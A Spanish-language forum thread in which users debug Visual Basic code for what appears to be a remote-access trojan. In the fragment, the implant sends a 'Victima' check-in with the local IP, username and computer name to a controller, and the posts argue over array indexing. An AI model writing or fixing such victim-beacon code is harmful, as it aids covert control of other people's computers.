Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió: el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")


el cliente

.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
jeje entonces como lo modifico
[email protected] trabajos hacking xD
http://xat.com/XDamigosXD mi chat me faltan mods xD
soy 1 escribió:
Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió: el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")


el cliente

.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
jeje entonces como lo modifico
perdon dije una burrada antes sin leer el codigo :/
Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió: el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")


el cliente

.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
todo depende si tiene Option Base 1 comienzan desde 0
y si tienen Option Base 0 evidentemente desde 0.
criminalkaoz escribió:
Grecia escribió:creo que son ciegos
por que alguien se le ocurrio ver el codigo bien?
soy 1 escribió: el server
WS.SendData "Hola" & "|" & "Victima" & WS.LocalIP & "|" & Environ("USERNAME") & "|" & Environ("COMPUTERNAME")


el cliente

.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
el server envia 4 valores
y el cliente esta leyendo 5
recuerden que cuando ocuplan split
los arreglon empiezan desde la columna 0
no desde la 1
todo depende si tiene Option Base 1 comienzan desde 0
y si tienen Option Base 0 evidentemente desde 0.
el lo esta haciendo desde 0
xdata() = Split(sData, "|")

Select Case xdata(0)

Case "Hola"

With LV.ListItems.Add(, , xdata(1))

.SubItems(1) = xdata(2)
.SubItems(2) = xdata(3)
.SubItems(3) = xdata(4)
End With
pero le faltan mas datos que mande desde el server o que quite un subitem
Responder

Volver a “VB/.NET”